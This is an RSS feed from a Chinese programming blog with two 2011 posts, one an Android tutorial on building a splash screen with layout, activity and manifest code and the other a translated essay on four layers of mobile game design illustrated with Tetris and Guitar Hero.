<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾 &#187; 程序</title>
	<atom:link href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Fri, 16 Dec 2011 09:18:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>在Android中创建启动界面</title>
		<link>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html</link>
		<comments>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html#comments</comments>
		<pubDate>Wed, 29 Jun 2011 05:01:33 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[Android笔记]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=554</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html"><img align="left" hspace="5" width="150" src="http://images.cnblogs.com/cnblogs_com/yunfei181/splash.jpg" class="alignleft wp-post-image tfe" alt="" title="" /></a>1、制作一张启动图片splash.png，放置在res-&#62;drawable-hdpi文件夹中。 2、新建布局文件splash.xml &#160; &#60;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&#62; &#60;LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android” android:layout_width=”fill_parent” android:layout_height=”fill_parent” android:gravity=”bottom&#124;center” android:orientation=”vertical” android:background=”@drawable/splash”&#62; &#60;TextView android:text=”@+id/TextView01&#8243; android:layout_width=”wrap_content” android:layout_height=”wrap_content” android:layout_marginTop=”20dip” android:typeface=”sans” android:shadowDx=”0&#8243; android:shadowDy=”2&#8243; android:shadowRadius=”1&#8243; android:shadowColor=”#FFFFFF” android:textColor=”#444444&#8243; android:textSize=”20dip” android:id=”@+id/versionNumber” android:gravity=”bottom”&#62; &#60;/TextView&#62; &#60;/LinearLayout&#62; &#160; 这里我们把上一步制作的图片作为启动界面的背景图，然后在界面底部显示当前程序的版本号。 3、新建SplashActivity，在Oncreate中添加以下代码： setContentView(R.layout.splash); PackageManager pm = getPackageManager(); try { PackageInfo pi = pm.getPackageInfo(“com.lyt.android”, 0); TextView versionNumber = (TextView) findViewById(R.id.versionNumber); versionNumber.setText(“Version ” + pi.versionName); } catch (NameNotFoundException e) { e.printStackTrace(); } new Handler().postDelayed(new Runnable(){ @Override public void run() { Intent intent = new Intent(SplashActivity.this,SplashScreenActivity.class); startActivity(intent); SplashActivity.this.finish(); } }, 2500); &#160; 4、 修改Manifest文件，将启动界面Activity改为默认启动，并且设置标题栏不可见。 &#60;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&#62; &#60;manifest xmlns:android=”http://schemas.android.com/apk/res/android” package=”com.lyt.android” android:versionCode=”1&#8243; android:versionName=”1.0&#8243;&#62; &#60;application android:icon=”@drawable/icon” android:label=”@string/app_name”&#62; &#60;activity android:name=”.SplashActivity” android:label=”@string/app_name” android:theme=”@android:style/Theme.NoTitleBar”&#62; &#60;intent-filter&#62; &#60;action android:name=”android.intent.action.MAIN” /&#62; &#60;category android:name=”android.intent.category.LAUNCHER” /&#62; &#60;/intent-filter&#62; &#60;/activity&#62; &#60;activity android:name=”.SplashScreenActivity” android:label=”@string/app_name” &#62; &#60;/activity&#62; &#60;/application&#62; &#60;uses-sdk android:minSdkVersion=”8&#8243; /&#62; &#60;/manifest&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>1、制作一张启动图片splash.png，放置在res-&gt;drawable-hdpi文件夹中。</p>
<p>2、新建布局文件splash.<a href="http://www.5bay.cn/tag/xml" class="st_tag internal_tag" rel="tag" title="标签 xml 下的日志">xml</a></p>
<p>&nbsp;</p>
<div>
<div>&lt;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&gt;<br />
&lt;LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android”<br />
android:layout_width=”fill_parent” android:layout_height=”fill_parent”<br />
android:gravity=”bottom|center” android:orientation=”vertical”<br />
android:background=”@drawable/splash”&gt;<br />
&lt;TextView android:text=”@+id/TextView01&#8243; android:layout_width=”wrap_content”<br />
android:layout_height=”wrap_content” android:layout_marginTop=”20dip”<br />
android:typeface=”sans” android:shadowDx=”0&#8243; android:shadowDy=”2&#8243;<br />
android:shadowRadius=”1&#8243; android:shadowColor=”#FFFFFF”<br />
android:textColor=”#444444&#8243; android:textSize=”20dip” android:id=”@+id/versionNumber”<br />
android:gravity=”bottom”&gt;<br />
&lt;/TextView&gt;<br />
&lt;/LinearLayout&gt;</div>
</div>
<p>&nbsp;</p>
<p>这里我们把上一步制作的图片作为启动界面的背景图，然后在界面底部显示当前程序的版本号。</p>
<p>3、新建SplashActivity，在Oncreate中添加以下代码：</p>
<p>setContentView(R.layout.splash);</p>
<div>
<div>PackageManager pm = getPackageManager();<br />
try {<br />
PackageInfo pi = pm.getPackageInfo(“com.lyt.android”, 0);<br />
TextView versionNumber = (TextView) findViewById(R.id.versionNumber);<br />
versionNumber.setText(“Version ” + pi.versionName);<br />
} catch (NameNotFoundException e) {<br />
e.printStackTrace();<br />
}</p>
<p>new Handler().postDelayed(new Runnable(){</p>
<p>@Override<br />
public void run() {<br />
Intent intent = new Intent(SplashActivity.this,SplashScreenActivity.<a href="http://www.5bay.cn/tag/class" class="st_tag internal_tag" rel="tag" title="标签 class 下的日志">class</a>);<br />
startActivity(intent);<br />
SplashActivity.this.finish();<br />
}</p>
<p>}, 2500);</p></div>
</div>
<p>&nbsp;</p>
<p>4、 修改Manifest文件，将启动界面Activity改为默认启动，并且设置标题栏不可见。</p>
<p>&lt;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&gt;</p>
<div>
<div>&lt;manifest xmlns:android=”http://schemas.android.com/apk/res/android”<br />
package=”com.lyt.android” android:versionCode=”1&#8243; android:versionName=”1.0&#8243;&gt;<br />
&lt;application android:icon=”@drawable/icon” android:label=”@string/app_name”&gt;</p>
<p>&lt;activity android:name=”.SplashActivity” android:label=”@string/app_name”<br />
android:theme=”@android:style/Theme.NoTitleBar”&gt;<br />
&lt;intent-filter&gt;<br />
&lt;action android:name=”android.intent.action.MAIN” /&gt;<br />
&lt;category android:name=”android.intent.category.LAUNCHER” /&gt;<br />
&lt;/intent-filter&gt;<br />
&lt;/activity&gt;<br />
&lt;activity android:name=”.SplashScreenActivity” android:label=”@string/app_name” &gt;<br />
&lt;/activity&gt;<br />
&lt;/application&gt;<br />
&lt;uses-sdk android:minSdkVersion=”8&#8243; /&gt;</p>
<p>&lt;/manifest&gt;</p></div>
</div>
<p>&nbsp;</p>
<p>5、显示效果如下：</p>
<p><img src="http://images.cnblogs.com/cnblogs_com/yunfei181/splash.jpg" border="0" alt="" width="325" height="484" /></p>
<p>&nbsp;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/android%e7%ac%94%e8%ae%b0" title="Android笔记" rel="tag">Android笔记</a>, <a href="http://www.5bay.cn/tag/class" title="class" rel="tag">class</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>资深设计师Tony Ventrice解析手机游戏开发的四个层次</title>
		<link>http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html</link>
		<comments>http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html#comments</comments>
		<pubDate>Wed, 29 Jun 2011 03:48:08 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[技巧]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[盈利]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[营销]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[鼠标]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=545</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html"><img align="left" hspace="5" width="150" src="http://pic001.cnblogs.com/images/2011/145819/2011052421021528.jpg" class="alignleft wp-post-image tfe" alt="" title="" /></a>营销人员可能明白强势品牌的重要性，但却对游戏机制一无所知；程序员可能深谙强大游戏机制的意义所在，但对游戏机制的传达方式一窍不通。这样的营销人员和程序员都无法各自打造出成功的游戏。因为一款成功的游戏离不开跨领域的协调性，然而，我们经常见到情况就如上所述，游戏制作团队的成员往往只熟悉游戏设计中面向己方的专业知识，对其他学科的知识所知甚少。 此时游戏设计师的职责显得尤为关键把不同专业的观点融合为全面的设计构想。如果设计师做不到，结果就是，团队里的成员各忙各的，把时间和精力浪费在毫不相干的工作上。 游戏设计包含了几个层次的工作，且各个层次彼此不同，就如游戏的市场营销和用户界面，把这些毫不相干的层次组合起来，这看似一项艰难的任务。完成这项任务需要明白游戏设计交叉性的理论框架、形象化游戏设计方案的下滴（上滴）效应。 手机平台的两个支点 手机游戏带给玩家的融入感可能不如掌机游戏或电脑游戏那么强烈，但如果要深入研究游戏设计结构，简易的手机游戏却是个理想的探索起点。手机游戏开发之所以独特基于两点：能简则简，以量取胜。 能简则简。你可能已经听说过这么句话：一旦所有可删除的对象都被删除了，一个游戏就趋于完美了。手机平台检验了这个论断。即使是在今天这个iPhone的黎明时代，手机游戏开发者仍然不得不应对手机游戏需局限于128K空间的难题，而这128K包括了美工、代码、游戏数据、声音和其他所有游戏要素。 这种容量限制几乎足以令任何一种游戏设置寸步难行，但游戏还是顽强地活下来了，虽然硕果仅存的是些再简单不过的游戏。这些残存下来的游戏拥有高度精炼和清晰可辩的设计构架。 以量取胜。在时间相对紧凑的开发周期中，手机游戏设计师要同时开工好几个游戏，这几乎囊括所有你能想得到的游戏类型。 同时设计三四款不同的游戏，你有两个选择：要么是通过一个共同的工作期掌握所有游戏的设计进程，要么顶着令人抓狂的压力分别跟进所有游戏设计进度。以下是一些手机游戏设计的经验总结。 tetris 层次 所有游戏设计都可以划分为四个基本的层次，即： 概念 范式 机制 界面 我们以手机游戏长青树《俄罗期方块》为例，该类戏设计的四个层次如下图所示： 俄罗斯方块的四个层次 概念 组合下落方块，尽可能把方块组合成完整的一行或多行，使之被消除，以延长游戏时间。 范式 范式是玩家与游戏时需要的思维框架。范式中所列的几何空间关系模式只是简单地指代玩家可能遇到的各种益智类游戏，例如拼图游戏、魔方、《无限回廊》、《音乐方块》和《跳跳球》等等。范式中的组合构建在游戏上就是所谓的匹配消除类游戏，例如《宝石方块》、《毛毛球》和《宝石迷阵》等等。 机制 机制由游戏内容构成的；内容对于支撑范式是必不可少的。 机制是第三层次的实质，内容也是建立在机制的基础之上。在《俄罗期方块》中，可阐述的机制非常多，没有办法列出全部，省略的要点如：方块阻塞，游戏结束和下落及接触这两个动词的解释。 界面 如图可见，并非所有的机制都需要直接的用户输入。在设计良好的游戏里，界面的利用限度是最低的，但能引起机制之间的连锁反应。例如，玩家通过影响方块的下落位置，从而决定底部的方块残排能否补全。 每一款游戏都可以描述为这四个层次。以下是对四个层次的详解。 概念 对许多人来说，游戏设计的起始都伴随着一个概念即从提出初步设想到形成完整的理念。 概念本身并不能阐明游戏的乐趣所在。提出设想的人通常是在头脑中想象着其他概念相似的游戏，并且假设所有游戏辅助细节都隐含其中。 如果你是一个设计师，你就会知道概念不是重点，但并不是说一个设计师应该抛弃设想。毕竟，概念是游戏设计的最高层次；如果概念本身不能讲述引人入胜的剧情，这样的游戏也不会有市场。 曾经存在着这么些卓越的游戏，因为其概念不能与用户产生共鸣，所以盈利表现不佳。游戏续作和电影授权游戏的成功很大程度上可以归结为，其游戏概念已深入人心。 在手机游戏里，没有所谓的游戏盒子或者视频演示游戏概念只能通过游戏名称体现出来。当我参与制作一个24 TV show授权游戏时，我们团队面临的最大障碍是游戏命名的问题。 我们那时已在开发游戏续作了，我们知道第一款游戏反响不佳可能得归咎于名称，所以24 Part 2这个名称就被淘汰了。而24: Jack Bauer’s Back等此类名称显然也不是我们的选择，最后只好将游戏命名为24: Agent Down。 在本作中，游戏的理念已经体现出来了；任何看过24的人都知道它是关于间谍和阴谋、黑客和枪战的电视节目，但通过简短的描述把这个概念完整地传达给用户几乎是不可能的事情。 《ER Rush》这个名称就不错。这是一款原创、以医院为主题的转盘游戏，与成功的《美女餐厅》类似。这两款游戏虽然在许多机制颇有偏差，但基本概念却是一致的用户各取所需（游戏邦注：玩家在该游戏中的任务就是在医院里四处奔走为病人提供服务），这款游戏的市场行情也非常走俏。 要产生一个理想的概念，最重要的是鼓励大胆创新；提取出最引人注目的内容对其进行扩充；体现游戏剧情。虽然这未必可以描述游戏的最终走向，但却是定义下一步–范式的前提。 范式 范式大概是四个游戏设计基本层次中最难称呼且最容易被忽略的一个层次了。范式听起来有些虚饰和抽象，但其意义却非常具体、明确：范式是玩家作用于游戏时的展望。 每一个挑中某款游戏的玩家都会带着先入为主的观念来玩游戏，这种观念是玩家本身、玩家所处的社会和人性所固有的特点。游戏反映生活，所以大多游戏带给玩家的普遍体验都不外乎打猎、收集和建造等等，这是自然而然的事。正是这些游戏体验定义了范式。 范式包含了一系列的玩家意料之中的规则。因此无需提醒，玩家凭直觉就知道范式固有的目标和风险，例如管理资源。如果一款游戏融合了各式体验，且每种体验都有各自的小目标，那么这个游戏可以说是融合了形形色色的范式。 范式与类型相似，但类型主要根据以往的游戏来创建原型，而范式则直接涉及人类体验的基本构建模块。 从类型方面举例，第一人称射击类游戏，展现了游戏的视觉范围和目标，但没有定义明确的范式。而FPS类游戏的特色在于：缓慢的节奏（系统的/计划前瞻性）、频繁地使用掩护（躲藏和搜索），战略武器升级（资源管理）和武器在不同情景的切换（工具管理）。这些游戏过程事实上都各有其小范式（即括号内的词组），并且每一个都是玩家熟悉的经历。玩家无需得到躲藏和搜索的前提解释，因为那就是人的本能。 范式和概念经常被混淆；许多概念能立即反映一个明显的范式（如猎鹿游戏需要躲藏和搜索的游戏内容），但这并不意味着其他范式不能与之共存。 [...]]]></description>
			<content:encoded><![CDATA[<p>营销人员可能明白强势品牌的重要性，但却对游戏机制一无所知；程序员可能深谙强大游戏机制的意义所在，但对游戏机制的传达方式一窍不通。这样的营销人员和程序员都无法各自打造出成功的游戏。因为一款成功的游戏离不开跨领域的协调性，然而，我们经常见到情况就如上所述，游戏制作团队的成员往往只熟悉游戏设计中面向己方的专业知识，对其他学科的知识所知甚少。</p>
<p>此时游戏设计师的职责显得尤为关键把不同专业的观点融合为全面的设计构想。如果设计师做不到，结果就是，团队里的成员各忙各的，把时间和精力浪费在毫不相干的工作上。</p>
<p>游戏设计包含了几个层次的工作，且各个层次彼此不同，就如游戏的市场营销和用户界面，把这些毫不相干的层次组合起来，这看似一项艰难的任务。完成这项任务需要明白游戏设计交叉性的理论框架、形象化游戏设计方案的下滴（上滴）效应。</p>
<p><strong> 手机平台的两个支点</strong></p>
<p>手机游戏带给玩家的融入感可能不如掌机游戏或电脑游戏那么强烈，但如果要深入研究游戏设计结构，简易的手机游戏却是个理想的探索起点。手机游戏开发之所以独特基于两点：能简则简，以量取胜。</p>
<p>能简则简。你可能已经听说过这么句话：一旦所有可删除的对象都被删除了，一个游戏就趋于完美了。手机平台检验了这个论断。即使是在今天这个iPhone的黎明时代，手机游戏开发者仍然不得不应对手机游戏需局限于128K空间的难题，而这128K包括了美工、<a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" class="st_tag internal_tag" rel="tag" title="标签 代码 下的日志">代码</a>、游戏数据、声音和其他所有游戏要素。</p>
<p>这种容量限制几乎足以令任何一种游戏设置寸步难行，但游戏还是顽强地活下来了，虽然硕果仅存的是些再简单不过的游戏。这些残存下来的游戏拥有高度精炼和清晰可辩的设计构架。</p>
<p>以量取胜。在时间相对紧凑的开发周期中，手机游戏设计师要同时开工好几个游戏，这几乎囊括所有你能想得到的游戏类型。</p>
<p>同时设计三四款不同的游戏，你有两个选择：要么是通过一个共同的工作期掌握所有游戏的设计进程，要么顶着令人抓狂的压力分别跟进所有游戏设计进度。以下是一些手机游戏设计的经验总结。<span id="more-545"></span></p>
<p><img src="http://pic001.cnblogs.com/images/2011/145819/2011052421021528.jpg" alt="" /></p>
<p>tetris</p>
<p><strong> 层次</strong></p>
<p>所有游戏设计都可以划分为四个基本的层次，即：</p>
<ul>
<li>概念</li>
<li>范式</li>
<li>机制</li>
<li>界面</li>
</ul>
<p>我们以手机游戏长青树《俄罗期方块》为例，该类戏设计的四个层次如下图所示：</p>
<p><img src="http://pic001.cnblogs.com/images/2011/145819/2011052421023784.jpg" alt="" /></p>
<p>俄罗斯方块的四个层次</p>
<p><strong> 概念</strong></p>
<p>组合下落方块，尽可能把方块组合成完整的一行或多行，使之被消除，以延长游戏时间。</p>
<p><strong> 范式</strong></p>
<p>范式是玩家与游戏时需要的思维框架。范式中所列的几何空间关系模式只是简单地指代玩家可能遇到的各种益智类游戏，例如拼图游戏、魔方、《无限回廊》、《音乐方块》和《跳跳球》等等。范式中的组合构建在游戏上就是所谓的匹配消除类游戏，例如《宝石方块》、《毛毛球》和《宝石迷阵》等等。</p>
<p><strong> 机制</strong></p>
<p>机制由游戏内容构成的；内容对于支撑范式是必不可少的。</p>
<p>机制是第三层次的实质，内容也是建立在机制的基础之上。在《俄罗期方块》中，可阐述的机制非常多，没有办法列出全部，省略的要点如：方块阻塞，游戏结束和下落及接触这两个动词的解释。</p>
<p><strong> 界面</strong></p>
<p>如图可见，并非所有的机制都需要直接的用户输入。在设计良好的游戏里，界面的利用限度是最低的，但能引起机制之间的连锁反应。例如，玩家通过影响方块的下落位置，从而决定底部的方块残排能否补全。</p>
<p>每一款游戏都可以描述为这四个层次。以下是对四个层次的详解。</p>
<p><strong> 概念</strong></p>
<p>对许多人来说，游戏设计的起始都伴随着一个概念即从提出初步设想到形成完整的理念。</p>
<p>概念本身并不能阐明游戏的乐趣所在。提出设想的人通常是在头脑中想象着其他概念相似的游戏，并且假设所有游戏辅助细节都隐含其中。</p>
<p>如果你是一个设计师，你就会知道概念不是重点，但并不是说一个设计师应该抛弃设想。毕竟，概念是游戏设计的最高层次；如果概念本身不能讲述引人入胜的剧情，这样的游戏也不会有市场。</p>
<p>曾经存在着这么些卓越的游戏，因为其概念不能与用户产生共鸣，所以盈利表现不佳。游戏续作和电影授权游戏的成功很大程度上可以归结为，其游戏概念已深入人心。</p>
<p>在手机游戏里，没有所谓的游戏盒子或者视频演示游戏概念只能通过游戏名称体现出来。当我参与制作一个24 TV show授权游戏时，我们团队面临的最大障碍是游戏命名的问题。</p>
<p>我们那时已在开发游戏续作了，我们知道第一款游戏反响不佳可能得归咎于名称，所以24 Part 2这个名称就被淘汰了。而24: Jack Bauer’s Back等此类名称显然也不是我们的选择，最后只好将游戏命名为24: Agent Down。</p>
<p>在本作中，游戏的理念已经体现出来了；任何看过24的人都知道它是关于间谍和阴谋、黑客和枪战的电视节目，但通过简短的描述把这个概念完整地传达给用户几乎是不可能的事情。</p>
<p>《ER Rush》这个名称就不错。这是一款原创、以医院为主题的转盘游戏，与成功的《美女餐厅》类似。这两款游戏虽然在许多机制颇有偏差，但基本概念却是一致的用户各取所需（游戏邦注：玩家在该游戏中的任务就是在医院里四处奔走为病人提供服务），这款游戏的市场行情也非常走俏。</p>
<p>要产生一个理想的概念，最重要的是鼓励大胆创新；提取出最引人注目的内容对其进行扩充；体现游戏剧情。虽然这未必可以描述游戏的最终走向，但却是定义下一步–范式的前提。</p>
<p><strong> 范式</strong></p>
<p>范式大概是四个游戏设计基本层次中最难称呼且最容易被忽略的一个层次了。范式听起来有些虚饰和抽象，但其意义却非常具体、明确：范式是玩家作用于游戏时的展望。</p>
<p>每一个挑中某款游戏的玩家都会带着先入为主的观念来玩游戏，这种观念是玩家本身、玩家所处的社会和人性所固有的特点。游戏反映生活，所以大多游戏带给玩家的普遍体验都不外乎打猎、收集和建造等等，这是自然而然的事。正是这些游戏体验定义了范式。</p>
<p>范式包含了一系列的玩家意料之中的规则。因此无需提醒，玩家凭直觉就知道范式固有的目标和风险，例如管理资源。如果一款游戏融合了各式体验，且每种体验都有各自的小目标，那么这个游戏可以说是融合了形形色色的范式。</p>
<p>范式与类型相似，但类型主要根据以往的游戏来创建原型，而范式则直接涉及人类体验的基本构建模块。</p>
<p>从类型方面举例，第一人称射击类游戏，展现了游戏的视觉范围和目标，但没有定义明确的范式。而FPS类游戏的特色在于：缓慢的节奏（系统的/计划前瞻性）、频繁地使用掩护（躲藏和搜索），战略武器升级（资源管理）和武器在不同情景的切换（工具管理）。这些游戏过程事实上都各有其小范式（即括号内的词组），并且每一个都是玩家熟悉的经历。玩家无需得到躲藏和搜索的前提解释，因为那就是人的本能。</p>
<p>范式和概念经常被混淆；许多概念能立即反映一个明显的范式（如猎鹿游戏需要躲藏和搜索的游戏内容），但这并不意味着其他范式不能与之共存。</p>
<p>范式和游戏机制同样不易区分。第一款游戏为了展开成功的范式，通常会构建一个机制先例，而这个机制先例总是被后来的游戏效仿。例如，技巧类桌面游戏总是围绕四个键的输入组合来做文章。这就是这类游戏多年以来形成的惯例。</p>
<p><strong> 机制与内容</strong></p>
<p>范式隐暗游戏规则，而机制决定游戏规则。在一定程度上可以说机制充当了游戏中的可操作部分。组合三个方块来消除一排或几排方块、重新装载枪支、用木材和铁搭建兵营或者其他在游戏中能做的事，这些都是一种机制。如果玩家可以改变或者影响游戏中的什么元素，那种元素就是机制。</p>
<p>机制具有详细性、技术性，且其细节包含的信息太多（游戏邦注：对一般人而言是如此，但游戏程序员和设计师除外）。一般人看到是本身只作为机制的集合体内容，而看不到其掩盖下的细节。</p>
<p>富有经验的设计师从游戏概念成形的那一刻起就在考虑游戏机制。如果有人建议做一款以玩家为上帝的游戏，且所有人都认同这是个了不起的概念，那么设计师肯定在所有人都开工前就确定好可控制的机制。</p>
<p>一个普遍而不言自明的手机游戏开发理念是：游戏功能和机制越多越好。这是因为游戏可玩的地方越多，游戏的价值就越大。</p>
<p>如果制作游戏过程不受时间、金钱和玩家注意力的限制，以上言论可能完全正确。但游戏设计师的当务之急是决定什么功能可以为整个游戏锦上添花，什么功能应该排除在外。</p>
<p>总体来说，设计师就像主管。想法是廉价的，但艺术构想却是无价的。程序员可以只将设计视为纯粹的机制，制作人员可以只当设计是纯粹的内容，但设计师却要把自己的视野放宽一些。</p>
<p>除了确定游戏的功能和特色，设计师还要凭借自己的经验和想象，将预定设想转化为赏心悦目、意义深远、一目了然的界面，且这个界面能激发玩家的凝聚力，平衡玩家的紧张感和松弛感。</p>
<p><strong> 界面</strong></p>
<p>游戏设计层次的底层是界面。界面是有形的视听提示，是沟通玩家与游戏机制的桥梁。</p>
<p>界面通常是由按钮组成的，但也可能包含虚拟摇杆、<a href="http://www.5bay.cn/tag/%E9%BC%A0%E6%A0%87" class="st_tag internal_tag" rel="tag" title="标签 鼠标 下的日志">鼠标</a>、麦克风、加速计或者移动传感手套等。</p>
<p>界面设计至少应把输入方式与机制相对应，但还要进一步考虑界面的平衡性不可用过多输入操作吓走玩家、避免难度较大的输入组合以及过分精确的定时设置，要让游戏的基调始终如一，简单易记。</p>
<p><img src="http://pic001.cnblogs.com/images/2011/145819/2011052421025639.jpg" alt="" /></p>
<p>Guitar Hero World Tour</p>
<p>因为手机有别于其他游戏设备，所以界面就成了运行手机游戏的一大挑战。设计手机版《吉他英雄之世界巡演》时，我很快就断定增加一击鼓键与玩家习惯了的三键相比，游戏难度将大大提升。玩家经常不得不彻底改变拿手机的方式以适应击鼓输入。</p>
<p>为了简化这种设置，我们把下排数字键（7、8、9）设定为有效的击鼓输入，同时进一步过滤音符数据，这样鼓的轨道上就不会产生多音符弦。</p>
<p>事实证明，这种额外简化设置确实有助于创造吉他和鼓模式之间的独特玩法，吉他的挑战难点在于控制复杂度渐进的和弦过渡，而鼓的挑战难点则在于通过更多输入实现单音符的快速衔接。</p>
<p>界面会对上游层次的机制产生影响只有玩家本能地知道如何与机制互动的时候，这种设计才能生效，所以我们必须针对界面调整游戏机制。所有关于界面设计的文献得出的最终结论都是：界面设计的目标是尽可能展现一目了然的用户界面。</p>
<p><strong> 结论</strong></p>
<p>此时你可能觉得现在已产生的问题比解决掉的问题还多。例如，如何平衡全新的概念和熟悉的概念？范式的定义应如何进一步精细化？如何组织游戏内容，才能使上层的范式和下层的机制对其产生定义作用？如何优先考虑界面的要求？</p>
<p>用四层次法界定游戏的好处在于它可以展示设计的结构，同时指出了一些更深层次而有待解决的问题。</p>
<p>事实上每一层次还各有深度：</p>
<ul>
<li>理念借助市场营销的威力</li>
<li>范式需要心理学上的分析</li>
<li>机制是纯游戏设计的结构单元</li>
<li>用户界面是实用性专家的关注焦点</li>
</ul>
<p>在一个小型手机游戏项目中，以上所述的任务很可能是设计师一个人的职责，但这也算是一种优势。当所有游戏设计的层次都为一人所掌握，那么这个人就应做出最明智、最有效的决策。如果整个团队都能理解游戏的整体状况，那么整个团队都能做出明智的决定。</p>
